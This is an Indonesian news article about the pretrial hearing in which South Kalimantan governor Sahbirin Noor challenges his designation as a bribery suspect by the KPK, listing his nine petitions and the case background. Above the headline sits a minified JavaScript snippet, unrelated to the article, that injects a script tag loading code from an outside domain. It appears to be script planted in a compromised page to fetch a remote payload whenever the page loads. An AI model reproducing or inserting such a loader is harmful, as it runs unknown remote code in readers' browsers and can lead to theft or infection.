(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Sidang Praperadilan Sahbirin Noor Sampaikan Sembilan Petitum

KANALKALIMANTAN.COM, JAKARTA – Sidang Praperadilan Gubernur Kalimantan Selatan (Kalsel) Sahbirin Noor mulai digelar di Pengadilan Negeri (PN) Jakarta Selatan, Selasa (5/11/2024).

Seyogianya sidang pembacaan gugatan praperadilan digelar Senin (28/10/2024) pekan lalu, namun sidang ditunda karena KPK selaku termohon belum siap.

Dilansir dari laman SIPP PN Jakarta Selatan, tim kuasa hukum tersangka Sahbirin Noor menyampaikan sembilan petitum permohonan.

Pertama, meminta hakim menerima dan mengabulkan permohonan Praperadilan dari Pemohon (Sahbirin Noor) untuk seluruhnya. Kedua, menyatakan bahwa perbuatan termohon yang menetapkan pemohon sebagai tersangka merupakan perbuatan yang sewenang-wenang karena tidak sesuai dengan prosedur dan bertentangan dengan hukum dan dinyatakan batal.

Kemudian ketiga, menyatakan tidak sah dan tidak mempunyai kekuatan hukum mengikat Penetapan tersangka terhadap pemohon (Sahbirin Noor) oleh termohon. Keempat, menyatakan Surat Perintah Penyidikan tertanggal 07 Oktober 2024 atas nama Sahbirin Noor adalah tidak sah dan tidak berdasarkan atas hukum, dan oleh karenanya penetapan a quo tidak memiliki kekuatan hukum mengikat.

Kelima, menyatakan penyidikan yang dilakukan termohon terhadap pemohon sebagaimana tertuang dalam Surat Perintah Penyidikan tertanggal 07 Oktober 2024 atas nama Sahbirin Noor adalah tidak sah, tidak berdasarkan atas hukum, dan oleh karenanya penyidikan a quo tidak mempunyai kekuatan hukum mengikat. Keenam, memerintahkan kepada termohon untuk menghentikan penyidikan terhadap pemohon yang dilakukan berdasarkan Surat Perintah Penyidikan tertanggal 7 Oktober 2024 atas nama Sahbirin Noor.

Ketujuh, menyatakan tidak sah segala keputusan atau penetapan yang dikeluarkan lebih lanjut oleh termohon yang berkenaan dengan penetapan tersangka atas diri pemohon oleh termohon. Kedelapan, memulihkan segala hak hukum pemohon terhadap tindakan-tindakan yang telah dilakukan oleh termohon. Dan kesembilan, menghukum termohon untuk membayar biaya perkara ini menurut hukum.

Kuasa hukum Sahbirin Noor Dr Soesilo Ariwibowo usai persidangan mengatakan, subtansi petitum yang disampaikan pihaknya dalam gugatan pada intinya meminta dibatalkannya penetapan tersangka Sahbirin Noor.

“Pak Sahbirin Noor tidak dalam posisi tangkap tangan (OTT), tetapi diumumkan sama-sama dalam tangkap tangan, itu yang jadi keberatan kami,” katanya.

Sebagaiman diketahui, KPK sebelumnya melakukan Operasi Tangkap Tangan (OTT) terhadap sejumlah pejabat Dinas PUPR Kalsel karena diduga terlibat dalam kasus suap dan gratifikasi proyek Pengadaan Barang dan Jasa (PBJ) pada tiga proyek Pemprov Kalsel.

Gubernur Kalimantan Selatan (Kalsel) Sahbirin Noor alias Paman Birin dalam kasus ini turut ditetapkan KPK sebagai tersangka.

Bersama Kepala Dinas PUPR Kalsel Ahmad Solhan, Kabid Cipta Karya PUPR Kalsel sekaligus PPK Yulianti Erlynah.

Kemudian Agustya Febry Andrean selaku Plt Kepala Bagian Rumah Tangga Gubernur Kalsel, dan Ahmad sebagai pengepul uang fee.

Dalam kasus ini, KPK juga menetapkan dua tersangka dari pihak swasta yaitu Sugeng Wahyudi dan Andi Susanto.

Dalam operasi senyap itu, KPK juga turut mengamankan barang bukti uang tunai senilai Rp12 miliar dan USD500.

Kecuali Paman Birin, enam tersangka sejak Senin (7/10/2024) telah dilakukan penahanan di Rutan KPK untuk kepentingan penyidikan.

Tak terima turut ditetapkan sebagai tersangka, Gubernur Paman Birin melalui kuasa hukum mengajukan keberatan dengan menggugatan penetapan tersangka ke PN Jakarta Selatan.(Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie